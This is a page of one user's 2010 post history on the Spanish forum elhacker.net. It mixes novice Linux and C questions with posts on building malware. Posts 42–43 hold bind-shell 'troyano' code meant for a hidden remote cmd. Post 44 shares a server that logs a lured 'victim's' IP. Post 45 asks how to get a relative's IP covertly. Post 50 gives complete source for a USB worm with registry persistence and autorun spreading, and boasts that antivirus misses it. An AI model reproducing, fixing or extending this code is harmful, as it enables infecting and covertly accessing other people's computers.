elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


  Mostrar Temas
Páginas: 1 2 3 4 [5] 6
41  Programación / Programación C/C++ / Que funcion puedo usar? en: 4 Septiembre 2010, 17:00 pm
Buenas, pues estaba pensando en como abrir una cmd remota a traves de un troyano. Al principio pense en dup2, pero no me funcionaba correctamente. Se hacer un troyano inverso, pero quiero hacer un de conex. directa: Cuando me conecte, que me salte una cmd remota. Pero no se exactamente como hacerlo. Uso sockets en C.
Espero sus respuestas y sugerencias. Saludos y gracias
42  Programación / Programación C/C++ / Trokan.c Ayuda Windows C en: 2 Septiembre 2010, 16:26 pm
Buenas, estoy programando un mini-server en C,  que en Linux he desarrollado bastante mejor, pero necesito en Windows.
He escrito este code para ir mejorandolo, pero "algo" hace que se salte el accept y aunque nadie se conecte salta al siguiente paso xD.

El code:
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <winsock.h>
  4.  
  5. int main ()
  6. {
  7.    WSADATA wsaData;
  8.    WSAStartup(MAKEWORD(2, 0), &wsaData);
  9.  
  10.    struct sockaddr_in host, client;
  11.    int a=sizeof (struct sockaddr);
  12.    SOCKET newsock;
  13.    SOCKET sockfd=socket (2, 1, 0);
  14.    host.sin_family=AF_INET;
  15.    host.sin_addr.s_addr=0;
  16.    host.sin_port=htons (31337);
  17.    memset (host.sin_zero, 0, 8);
  18.  
  19.    bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr*));
  20.    listen (sockfd, 1);
  21.    while (1)
  22.    {
  23.        newsock=accept (sockfd, (struct sockaddr*)&client, &a);
  24.        send (newsock, "Hola!\n", 6, 0);
  25.        printf ("Conex. correcta.\n");
  26.        closesocket (newsock);
  27.    }
  28.    closesocket (sockfd);
  29.    return 0;
  30. }
  31.  
Qué falla??? Como ven sale infinitamente el printf!!! Y nadie se conecta!!! Y no te puedes conectar!!!

Saludos y gracias

Saludos
43  Programación / Programación C/C++ / Duda Code troyano C en: 16 Agosto 2010, 15:14 pm
buenas estoy haciendo un troyanito que simplemente abra una cmd en windows, pero tengo un problema:
lo que uso es un dup2 para duplicar los descriptores de salida y entrada STDIN y STDOUT k corresponden con los descriptores 1 y 0. los duplico dirigiendolos al socket abierto, pero no me funciona. el cmd se abre en la ventana del troyano que luego voy a ocultar, por lo que no me sirve xD

les dejo el code: Dev-Cpp Windows 7 C:
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <winsock.h>
  4. #include <sys/types.h>
  5.  
  6. int main ()
  7. {
  8.    WSADATA wsaData;
  9.    WSAStartup(MAKEWORD(1, 1), &wsaData);
  10.  
  11. SOCKET sockfd, newsock;
  12. struct sockaddr_in client, host;
  13.    int a=sizeof (client);
  14.  
  15. sockfd=socket (2, 1, 0);
  16. host.sin_family=AF_INET;
  17. host.sin_addr.s_addr=0;
  18. host.sin_port=htons (33333);
  19. memset (host.sin_zero, '\0', 8);
  20.  
  21. bind (sockfd, (struct sockaddr*)&host, sizeof (host));
  22. listen (sockfd, 1);
  23.  
  24. while (1)
  25. {
  26. newsock=accept (sockfd, (struct sockaddr*)&client, &a);
  27. send (newsock, "Conexion finalizada.\n", 21, 0);
  28. dup2 (STDIN, newsock);
  29. dup2 (STDOUT, newsock);
  30. dup2 (STRERR, newsock);
  31. WinExec ("cmd.exe", SW_NORMAL);
  32. closesocket (newsock);
  33. }
  34.  
  35. closesocket (sockfd);
  36. return 0;
  37. }
  38.  

Nota: Linkeo desde un proyecto, pero quiero hacerlo desde linea de comandos. se k se ha hablado muxo xro sigo sin conseguirlo fuera de graficos....
linkeo a C:/Dev-Cpp/lib/libwsock32.a k es la k va en el 7.

saludos y gracias

Lh: No hagas doble post.

agradeceria que alguien respondiese

antes de continuar, dire que lo volvi a escribir en Linux Ubuntu. A ver k tal:
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netinet/in.h>
  6.  
  7. int main()
  8. {
  9. int sockfd, newsock;
  10. struct sockaddr_in server, client;
  11. int a;
  12.  
  13. sockfd=socket(2, 1, 0);
  14. server.sin_family = AF_INET;
  15. server.sin_port = htons(31337);
  16. server.sin_addr.s_addr = 0;
  17. memset((struct sockaddr*)server.sin_zero, '\0', 8);
  18.  
  19. bind(sockfd,(struct sockaddr*)&server, sizeof(struct sockaddr));
  20. listen(sockfd,3);
  21.  
  22. while(1)
  23. {
  24. a=sizeof(struct sockaddr_in);
  25. newsock=accept(sockfd, (struct sockaddr *)&client, &a);
  26. dup2 (stdin, newsock);
  27. dup2 (stdout, newsock);
  28. dup2 (stderr, newsock);
  29. fprintf (stdin, "Hola");
  30. close (newsock);
  31. }
  32. return 0;
  33. close(sockfd);
  34. }
  35.  

Donde dice "Hola" en el fprintf deberia escribir en el socket "newsock", pero no lo escribe en algun lado.
Echenme una mano por favor!!!


Lh: No hagas doble post, utiliza el botón modificar. Ten paciencia para esperar la respuesta.
Proximo doble post y borro directamente.


Buenas, se que la participacion es voluntaria pero necesito urgentemente una respuesta, por favor.
Alguien puede echarme una mano?

Saludos y gracias
44  Programación / Programación C/C++ / Como sacar una IP, CODE en: 17 Julio 2010, 12:58 pm
Bueno, el otro dia postee en el subforo de Messenger, Chats... k como le sacaba la IP "real" a la victima pues la k aparecia en REAL IP, o algo asi, no era la buena...
pues aparte de k si es la buena, se me ocurrio otro metodo + eficaz xD

escribi un programa en C k esperase coenxiones en un puerto a indicar, y lo registrase todo en un archivo.
pues bien, lo k hice fue hacer kill al apache y lo puse en el p 80. le pase mi ip y le dije: "Conectate aki, ya veras... etc."
se conecta y queda registrada la Ip de la victima, con muxa mas info del ordenata destino.

si alguien kiere aplicar la idea, aki les dejo el code xD
Código
  1. #include <sys/socket.h>
  2. #include <arpa/inet.h>
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7.  
  8. #include <signal.h>
  9. #include <time.h>
  10.  
  11. int socketfd, newsocket;
  12.  
  13. void shutup (int signal)
  14. {
  15. FILE *log;
  16. log=fopen ("/var/log/smallserver.log", "a+");
  17. times ();
  18. fprintf (log, "Shutting down...\n\n");
  19. close (newsocket);
  20. close (socketfd);
  21. exit (0);
  22. }
  23.  
  24. int times ()
  25. {
  26. FILE *log;
  27. time_t now=time (0);
  28. struct tm *ahora;
  29. char buffer [40];
  30. ahora=localtime ((const time_t*)&now);
  31. strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  32. log=fopen ("/var/log/smallserver.log", "a+");
  33. fprintf (log,"%s   ", buffer);
  34. return 0;
  35. }
  36.  
  37. int main (int argc, char *argv [])
  38. {
  39. if (getuid()!=0)
  40. {
  41. printf ("This proccess must be run by root.\n\n");
  42. return 1;
  43. }
  44. if (argc!=2)
  45. {
  46. printf ("Error:\nUse: %s <PORT>\n\n", argv [0]);
  47. return 1;
  48. }
  49. int cont;
  50. FILE *log;
  51. struct sockaddr_in client, host;
  52. char buffer [1024];
  53. int size=sizeof (client);
  54.  
  55. socketfd=socket (2, 1 ,  0);
  56. host.sin_family=AF_INET;
  57. host.sin_port=htons (atoi (argv [1]));
  58. host.sin_addr.s_addr=0;
  59. bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  60.  
  61. listen (socketfd, 3);
  62.  
  63. log=fopen ("/var/log/smallserver.log", "a+");
  64. times ();
  65. fprintf (log, "Starting up...\n\n");
  66.  
  67. signal (SIGTERM, shutup);
  68. signal (SIGINT, shutup);
  69.  
  70. printf ("Forking process...");
  71. daemon (1, 0);
  72.  
  73. while (1)
  74. {
  75. newsocket=accept (socketfd, (struct sockaddr*)&client, &size);
  76.  
  77. log=fopen ("/var/log/smallserver.log", "a+");
  78. times ();
  79. fprintf (log, "Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  80.  
  81. cont=recv (newsocket, &buffer, 1024, 0);
  82. while (cont>2)
  83. {
  84. printf ("%d", cont);
  85. log=fopen ("/var/log/smallserver.log", "a+");
  86. times ();
  87. buffer [cont-1]='\0';
  88. fprintf (log, "RECV %d bytes: %s \n", cont-2, buffer);
  89.  
  90. cont=recv (newsocket, &buffer, 1024, 0);
  91. }
  92. log=fopen ("/var/log/smallserver.log", "a+");
  93. times ();
  94. fprintf (log, "Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  95. close (newsocket);
  96. }
  97. close (socketfd);
  98. return 0;
  99. }

se k es bastante simple, xro me costo un pokito xD k estoi aprendiendo...
si alguien cree k es mejorable, k postee como. estoi interesado (stoi aprendiendo, otra vez xD)
45  Comunicaciones / Mensajería / Problemilla Hotmail en: 16 Julio 2010, 19:05 pm
Buenas, se que este tema sta muy visto y k pensaran: "Joer, otro lammer estupido", xro no es asi, solo k le quiero demostrar a un familiar k tener 14 programas P2P y demas abiertos a la vez es malo, xro necesito la IP, sink se de cuenta.
no me vale la ingenieria social y pense en un correo Hotmail...
me puse a leer un poco (uso Gmail xD no se muxo de eso) y vi la tipica pregunta.
bien:

MI IP al conectarme (COMPROBADO): 192.x.x.33    [tipica]
IP que me sale varias veces:               212.170.48.5

resultado de GeoLocalizador de IP: Madrid [NOPPPPP]



se perfectamente k puede variar x el server, etc...
es estado buscando muxo en como encontrar la real. xro no encuentro la solucion.

como puedo encontrar la real sin ingenieria social? el objetivo tiene Tuenti, MSN, etc...
no creo k valga el "netstat -a" xk eso esta muy pasado xD

llevo tiempo pensando... ayudenme!!!
46  Sistemas Operativos / GNU/Linux / Particiones Fedora en: 22 Junio 2010, 11:26 am
Buenas, tengo un problemilla. Estoy instalando el Fedora, despues de ver que el Red Hat no me va.
Pues bien: El ordenador me venia con una sola particion, que llevaba el Vista. Un amigo la dividio, e instalo el Ubuntu 9.04.
Hace poco, formatee por error la segunda particion, e instale el Ubuntu 10.4. La tabla de particiones se quedo asi:

sda1          1500 MB        ntfs
sda2          119078 MB    ntfs
sda3          3072 MB        ntfs
sda4                                extendida
   sda5      110114           ext4
   sda6      4708              swap



Ahora, yo quiero dejar:

sda1         1500 MB      ntfs
sda2          119078 MB    ntfs
sda3          119078 MB    ntfs
sda4          4708 MB    swap


estoi en la instalacion del Fedora (en el Live CD), y no tengo ni idea de esto. k hago???
espero sus respuestas
47  Sistemas Operativos / GNU/Linux / Nmap en Ubuntu en: 17 Junio 2010, 20:19 pm
buenas:
necesito que me pasen una URL buena para descargar Nmap en linux. Ya se k hay muxas paginas, pero no puedo compilar ninguna.
ayudenme!!!

ubuntu 9.04
48  Informática / Software / Todo en Uno en: 17 Junio 2010, 18:33 pm
Buenas:
 Consegui un Todo en Uno v7, y ahora quiero hacer una copia. Abro el Nero, y lo intento copiar, pero me da error de lectura. El disco funciona perfectamente. Alguien sabe como arreglarlo, o como descargar esta misma version SIN Torrent o eMule???


gracias
49  Sistemas Operativos / GNU/Linux / Problema instalacion Red Hat 9 en: 11 Junio 2010, 21:06 pm
El caso: Me descargue los ISOs de Red Hat de http://mirror.informatik.uni-mannheim.de/pub/linux/distributions/redhat/9.0/, y los grabe con Nero en tres discos vírgenes. Reinicie, meti el primer disco, y empezo el problema....
1º Al darle a iniciar en modo grafico, se me abria en modo texto.
2º La pregunta seria si quiero chekear los discos. Pues no. Me pregunta directamente el idioma de instalacion y teclado.
3º Luego viene lo raro: Me pregunta de donde saca los ISOs, y cuando selecciono CD-ROM, me dice k no reconoce los componentes, que los elija de una lista. No va ninguno.

Se que ya han hablado de esto en muxos sitios, pero no consigo solucionarlo... Llevo meses con esto!!!
Datos del PC:
Toshiba Satellite nuevecito, tiene unos meses. Preinstalado Windows Vista Home Premium. Bien cuidado. Particionado en dos, instalado Ubuntu 9.04, que es donde lo voy a instalar.
3 GB Ram.
Procesador: Intel Pentium Dual CPU T3400 @ 2.16 GHz 2.17 GHz. Sistema operativo 32 bits.
Service Pack 1, activadito y legal. Sin virus, y normalmente sin conex. a internet (lo cuido muxo XD!!!). Actualizado, con antivirus ESET correcto.



Cualquier duda de lo k sea, preguntenmela aqui...
AYUDENME X FAVOR
50  Programación / Programación C/C++ / Virus sys32.exe en: 11 Junio 2010, 20:54 pm
Buenas, despues de muxas preguntas aqui, me desconecte de internet, e intente acer algo facilito. Cree el virusaco "boot.exe", que es taan efectivo k consume todos los recursos del PC, y eso k era un simple gusano...
luego me encerre a jugar al Counter un tiempo... un dia le eche un vistazo al escritorio y vi a mi bonito Dev-Cpp sucio y desgastado... empeze a programar!!!

despues de 2 bonitas horas de prácticas, nacio SYS32.exe!!!!


os pongo el codigo para k le echeis un vistazo. es muy sencillo, no se como no lo hice antes....
Código
  1. #include <windows.h>
  2. #include <stdio.h>
  3.  
  4. int a;
  5. FILE *fp;
  6. char nowdir [50];
  7. char usb [12][5]={"D:\\", "E:\\", "F:\\", "G:\\", "H:\\"};
  8. char usb2 [12][5]={"D:\\", "E:\\", "F:\\", "G:\\", "H:\\"};
  9.  
  10. int main ()
  11. {
  12.    GetModuleFileName (NULL, nowdir, 256);
  13.    CopyFile (nowdir, "C:\\Temp\\sys32.exe", 0);
  14.    registro ();
  15.    while (1)
  16.    {
  17.          pendrive ();
  18.  sleep (5);
  19.    }
  20. }
  21.  
  22. int registro ()
  23. {
  24.    HKEY hkey;
  25.    RegOpenKeyEx (HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, KEY_SET_VALUE, &hkey);
  26.    RegSetValueEx(hkey,"run",0,REG_SZ,"C:\\Temp\\sys32.exe",50);
  27.    RegCloseKey(hkey);
  28. }
  29.  
  30. int pendrive ()
  31. {
  32.    for (a=0; a<=5; a++)
  33.    {
  34.        if (GetDriveType (usb [a])==2)
  35.        {
  36.             strcat (usb [a], "\\sys32.exe");
  37.             CopyFile (nowdir, usb [a], 0);
  38.  
  39.             strcat (usb2 [a], "\\autorun.inf");
  40.             fp=fopen (usb2 [a], "wb+");
  41.             fprintf (fp, "[autorun]\nopen=sys32.exe");
  42.             fclose (fp);
  43.             fp=fopen (usb2 [a], "rb+");
  44.        }
  45.    }
  46. }
  47.  

funciona asi:
1. Se copia a "C:\Temp".
2. Se añade al registro, en una llave en la que todos tienen permisos, pero en la que puedes hacer que se abra al inicio de sesión. La única pega es que solo se abre en la sesion en la que se abre.
3. Hace un bucle infinito comprobando si se enchufan pendrives. Si se enchufan, se copia a este sitio, y crea un autorun. Lo cierra para guardar cambios y lo abre para k no lo borres.

Lo mejor es que no lo detecta ningun antivirus (por ahora, pork sin querer lo mande a analizar a ESET. a ver cuanto dura).+


Importante: El code es mio, y sus ideas, pero he de recordar que "http://usuarios.multimania.es/inyx/Gusano%20basico.pdf" me enseño a copiarme al registro. Como veis, es completamente diferente.
Páginas: 1 2 3 4 [5] 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines